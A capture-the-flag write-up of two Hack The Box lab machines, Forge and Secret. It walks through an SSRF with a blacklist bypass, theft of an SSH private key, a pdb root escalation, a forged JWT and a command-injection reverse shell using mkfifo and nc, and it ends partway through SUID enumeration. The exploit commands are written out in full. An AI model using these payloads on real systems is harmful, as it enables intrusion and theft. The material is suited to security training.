Forge

Forge is sooo fun! Loved it! It really is fun. Did I say it’s fun? Enjoy readin this writeup as much as I enjoyed rooting this box.

Enumeration

Service Scan w/ nmap

The information displays 3 open services running on the system. FTP, SSH, HTTP.

┌──(root kali)-[/home/kali]
└─# nmap -sC -sV -v -p- -oA hackthebox/forge forge.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-17 04:57 EST
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-title: Gallery
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

I have decided to begin with port 80 even though we have an ftp service running. From the looks of it, it is a gallery website (just as the information from the nmap scan) with an upload functionality. Whenever we have an upload functionality we should 100% check for unrestricted upload vulnerabilities etc..

forge

gobuster

As a continuation to my enumeration, I ran dirbuster. We have to look for hidden directories within the application as we might find hidden documents and information that could be useful for our exploit phase.

┌──(root kali)-[/home/kali]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://forge.htb/                                                                                                                                   1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://forge.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/17 05:15:46 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 224] [--> http://forge.htb/uploads/]
/static               (Status: 301) [Size: 307] [--> http://forge.htb/static/] 
/upload               (Status: 200) [Size: 929]                                

/static directory

Within it we should expect the following directories and type of files:

  • js
  • css
  • images

I have explored the directories and found main.js file. It provides information about our upload functionality.

Subdomain enumeration

My enumeration continues. In the following lines I will enumerate the subdomains of the application and sort the output with that of a status code 200 OK (in other words existing). We do this to discover hidden subdomains that could help us navigate our attack.

┌──(root kali)-[~]
└─# wfuzz -w /usr/share/spiderfoot/spiderfoot/dicts/subdomains.txt -H "Host: FUZZ.forge.htb" --hc 50 --hw 128 -t 100 10.10.11.111 |grep 200  

 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
000000008:   200        1 L      4 W        27 Ch       "admin"                                              
000000200:   302        9 L      26 W       281 Ch      "forms"                                              
                                                                                                                      

We have found two subdomains: admin.forge.htb and forms.forge.htb where the second subdomain redirects us with a 302 code to the original page forge.htb. On the other hand admin.forge.htb is an actual subdomain with a status code 200. Upon visiting the website I get the message:

┌──(root kali)-[~]
└─# curl http://admin.forge.htb/  
Only localhost is allowed!

The only reasonable explanation for that message is that this subdomain is looking for a loopback call on 127.0.0.1 or similar such as 127.1.1.1. “IP address 127.1.1.1 is registered as a loopback interface address, which is also known as localhost or local host. In computer networking, localhost is a hostname that means this computer.” The only webapp functionality that exists on the main domain is an upload functionality.

FTP Service

I have tried to access the ftp but it did not allow me to communicate to the service. I have noticed that the nmap scan displays the service as filtered meaning some type of firewall is blocking our (external) access to the service. And then I instantly thought that the path to the ftp service should be through the subdomain that I have found at admin.forge.htb. I have to find a way to access the ftp through the subdomain and check its contents.

Upload Functionality Test

I have decided to test the upload from url functionality and analyse the traffic in burp.

Firstly, I tested if it allows localhost access and figured it is blacklisted.

I have modified the request to point to the ftp service and got invalid protocol.

I have also tested uploading reverse shell but it took me short amount of time to figure there are too many hints that point in the other direction so I decided to focus on the fact that the localhost is blacklisted. When something is blacklisted it usually is inserted into a list of words that are forbidden on the application or functionality. So we have to find a way to bypass this.

File is successfully uploaded:

I have tried accessing the link the normal way as so:

But an error is displayed, so I have decided to curl it instead.

┌──(root kali)-[/home/kali/hackthebox]
└─# curl http://forge.htb/uploads/z7FBy4HMVBlEXRBRCv30
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>                                                                                                                    

We see that this provides us access to a directory called /announcements so I will try to access it. I have repeated the process by uploading the same url but including the /announcements at the back, then curl-ed the provided link and got the following information:

┌──(root💀kali)-[/home/kali/hackthebox]
└─# curl http://forge.htb/uploads/HmjbDr7dMEH9P8OCyy4Z
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html> 

We understand that the ftp server has been setup with credentials user:heightofsecurity123! and that the /upload endpoint now supports ftp and ftps. We also understand that in order to access it we need to use the u parameter. This means that we can repeat the process and invoke ftp as url as so:

http://AdMin.ForGe.htb/upload?u=ftp://user:[email protected]/

We submit the url, copy and curl it:

┌──(root kali)-[/home/kali/hackthebox]
└─# curl http://forge.htb/uploads/5srvcQyocXgWBPHE7SdP                                                        130 ⨯
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 16 21:29 user.txt

There are two files called user.txt which is probably a flag and a file called snap. Let’s download them to see their contents:

Nice, we got the user. Now we have to think on foothold.

Foothold

Now that we have the server-side-request-forgery vulnerability, we have to think of ways to exploit ftp to get foothold. Can we access other internal files? I tried accessing internal files but I got a server error obviously. There is an ssh service running, can we login with these credentials?

The following website is full of insanely useful information on ftp in urls. I am so grateful for this guy’s work and other people involved in his development. LINK – jkorpela.fi

Quote

Browsers often seem to violate this: they effectively start from the root of the file system of the FTP host. (I first observed this in IE 4.0 under Win95 and Lynx 2.7.1 under Unix.) Thus, in order to access file .plan in user jkorpela's home directory on alfa.hut.fi, a correct URL would be ftp://[email protected]/.plan but this does not work on IE which requires something like ftp://[email protected]/m/fs/lai/lai/LK/lk/jkorpela/.plan (which does not work on other browsers). Moreover, as mentioned above, some versions of IE are unable to prompt for password, so even that URL might not work unless you put the password there.

We might be able to access the id_rsa file that is located in the root directory of the user if we make this right.

http://AdMin.ForGe.htb/upload?u=ftp://user:[email protected]/user/.ssh/id_rsa

I got 404 not found. Of course, I get 404 when the following is interpreted as so “/root/user/.ssh/id_rsa” I have to remove /user since it should be located in the root folder by default. Let’s repeat.

┌──(root kali)-[~]
└─# curl http://forge.htb/uploads/5vpjRkn7pdbmwJLBlWc7 -o id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2590  100  2590    0     0  25305      0 --:--:-- --:--:-- --:--:-- 25392
                                                                                                                    
┌──(root💀kali)-[~]
└─# cat id_rsa                                                  
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
3jFFi0qgCRI14rDTpa7wzn5QG0HlWeZuqjFMqtLQcDlhmE1vDA7aQE6fyLYbM
0sSeyvkPIKbckcL5YQav63Y0BwRv9npaTs9ISxvrII5n26hPF8DPamPbnAENuBmWd5iqUf
FDb5B7L+sJai/JzYg0KbggvUd45JsVeaQrBx32Vkw8wKDD663agTMxSqRM/wT3qLk1zmvg
<edited>                              <edited>                         <edited>
NqD51AfvS/NomELAzbbrVTowVBzIAX2ZvkdhaNwHlCbsqerAAAAMEAzRnXpuHQBQI3vFkC
9vCV+ZfL9yfI2gz9oWrk9NWOP46zuzRCmce4Lb8ia2tLQNbnG9cBTE7TARGBY0QOgIWy0P
fikLIICAMoQseNHAhCPWXVsLL5yUydSSVZTrUnM7Uc9rLh7XDomdU7j/2lNEcCVSI/q1vZ
dEg5oFrreGIZysTBykyizOmFGElJv5wBEV5JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr
W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

ssh with id_rsa

┌──(root kali)-[~]
└─# chmod 600 id_rsa
                                                                                                                    
┌──(root kali)-[~]
└─# ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

Privilege Escalation

One of the first things I tried provided us with great information about next steps. Firstly, we understand that we can run python3 and a python script as root with no password.

Last login: Sun Jan 16 23:52:17 2022 from 10.10.14.4
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Let’s analyse what this python script does.

-bash-5.0$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

We have a hardcoded password in the code: secretadminpassword .

It opens a local listening port with sock which accepts connections and will require us the hardcoded password. We can observe that it calls ps, df, ss system commands to do certain tasks. In case of an error it prints “e” which is within pdb.post_mortem. I have to admit I don’t understand the debugger enough so I will be googling that a bit.

Looking at this, one of two things comes to my mind at the moment:

  • Path Poison
  • Some type of error that could break the application in order to invoke “e” and see what happens.

Let’s run the script.

-bash-5.0$ sudo python3 /opt/remote-manage.py 
Listening on localhost:55286

I have to open a second ssh connection in order to interact with the process.

The program works as expected when supplied with numbers. What would happen if I supply letter?

After supplying the input with letters, the pdb debugger has opened. Let’s see how we can use it to privesc. After googling a bit, I have found that we can import os and run shell commands.

(Pdb) import os
(Pdb) os.system("/bin/bash")
[email protected]:/home/user# whoami
root
[email protected]:/home/user# 

Secret

Enumeration

Service scan with nmap

We have discovered 3 active ports, 2 of which are http service and we have to analyze them from within our browser.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API.

Port 3000

Same as port 80

Enumerate directories with Dirbuster

We have found a zip file. Usually, open source projects publish publicly the files they are comprised of.

Files.zip Analysis

We find .git which should contain commits and files that could contain interesting info.

┌──(root💀kali)-[~/Downloads/local-web]
└─# ls -la                                    
total 116
drwxr-xr-x   8 root root  4096 Sep  3 01:57 .
drwxr-xr-x   5 root root  4096 Nov 11 08:41 ..
-rw-r--r--   1 root root    72 Sep  3 01:59 .env
drwxr-xr-x   8 root root  4096 Sep  8 14:33 .git
-rw-r--r--   1 root root   885 Sep  3 01:56 index.js
drwxr-xr-x   2 root root  4096 Aug 13 00:42 model
drwxr-xr-x 201 root root  4096 Aug 13 00:42 node_modules
-rw-r--r--   1 root root   491 Aug 13 00:42 package.json
-rw-r--r--   1 root root 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x   4 root root  4096 Sep  3 01:54 public
drwxr-xr-x   2 root root  4096 Sep  3 02:32 routes
drwxr-xr-x   4 root root  4096 Aug 13 00:42 src
-rw-r--r--   1 root root   651 Aug 13 00:42 validations.js


┌──(root💀kali)-[~/Downloads/local-web]
└─# cd .git

┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# ls    
branches  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs

┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# cd logs     

┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# ls
HEAD  refs

┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# cat HEAD   
0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <[email protected]> 1630648552 +0530     commit (initial): first commit
55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <[email protected]> 1630648599 +0530     commit: added downloads
3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <[email protected]> 1630648655 +0530     commit: removed swap
4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <[email protected]> 1630648759 +0530     commit: added /downloads
de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <[email protected]> 1630648817 +0530     commit: removed .env for security reasons
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <[email protected]> 1631126007 +0530     commit: now we can view logs from server 😃

At this point I have decided to look for a clue in google what to do with the .git and found that there are GitTools on github that we could use to dump data from it. Additionally, we have some insight now that we can view logs and that they have removed some file that could be interesting to us. In the next lines, I am dumping the data from the git file.

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ls
extractor.sh  README.md

┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh ~/Downloads/local-web dump
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########

At this point I did not achieve anything fruitful and did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website.

Create a new user and login

Looking back at the website there is a section to register user:

We can try to register one:

Unsuccessful, it requires us a name even though it was supplied… I realised I was missing Content-Type information in the POST request body.

Now I need to fix the error by making the name longer.

Nice, we registered a user successfully. Now we could try to login. From the website, the instructions are the following:

We got a JWT token after we logged-in:

I thought a bit and decided to look through the dump for a “token” and “admin”. I found that there is a user called “theadmin” and a JWT token.

┌──(root💀kali)-[/opt/GitTools/Extractor/dump]
└─# grep -IR "admin"
<deleted>
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:    if (name == 'theadmin') {
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js:                role: "you are admin",
<deleted>

#grep -IR "TOKEN"

3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

In jwt.io we can edit and sign the JWT token we got from the response message:

  1. Paste the original token we got after we logged in into the “Encoded” input field. To the right, the decoded token information will show up.
  1. Edit the name variable to be “theadmin” and within “VERIFY SIGNATURE” paste the JWT token we found previously from our dump file.

Sign the token and copy the Encoded version of the JWT token.

Reverse Shell

From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file.

In the following lines, I am using curl to initiate a GET request similarly to the previous api calls we did through burp but this time, calling the logs file which is injectable. We will inject our code in order to achieve the following results:

  • First delete any file called f in tmp/ directory
  • create a first-in-first-out (fifo) buffer file called f in tmp/ directory
  • Cat the file we created and pipe a shell with -i tag
  • Pipe nc our local IP and our local listening port
  • Use -H to add custom headers which in this case is our auth-token also called JWT
  • Setup a listener with netcat on the same port from the request to catch the connection
┌──(root-kali)-[/opt/GitTools/Extractor]
└─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio"
^[[3~curl: (52) Empty reply from server
┌──(root-kali)-[~/Downloads/local-web/.git]
└─# nc -nvlp 1234                                                                              1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dasith

Privilege Escalation

Shell stabilisation

$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:~/local-web$ export TERM=xterm
export TERM=xterm
[email protected]:~/local-web$ ^Z
zsh: suspended  nc -nvlp 1234

┌──(root-kali)-[~/Downloads/local-web/.git]
└─# stty raw -echo; fg                                                                                                                                        148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 1234

Look for setuid files. We find a file called “count”. I recognise that this file is not a system one but a user file, so I have to investigate it.

[email protected]:~/local-web$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
[email protected]:~/local-web$ cd /opt/
[email protected]:/opt$ ls
code.c  count  valgrind.log
[email protected]:/opt$ file count
count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped

We see it is a binary file. I use strings to analyze the contents of the binary:

[email protected]:/opt$ strings count 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
code.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__stat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
_edata
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.4
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__data_start
[email protected]@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
__lstat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.7
dircount
[email protected]@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
filecount
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

We notice that it uses a couple of other files within the code. But I need a better view of the code, so I analyze it from an editor if I remember correctly:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}

void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to “look for something that is dumpable”. So I did and found the following line within the code: prctl(PR_SET_DUMPABLE, 1);

https://man7.org/linux/man-pages/man2/prctl.2.html

  • According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions.
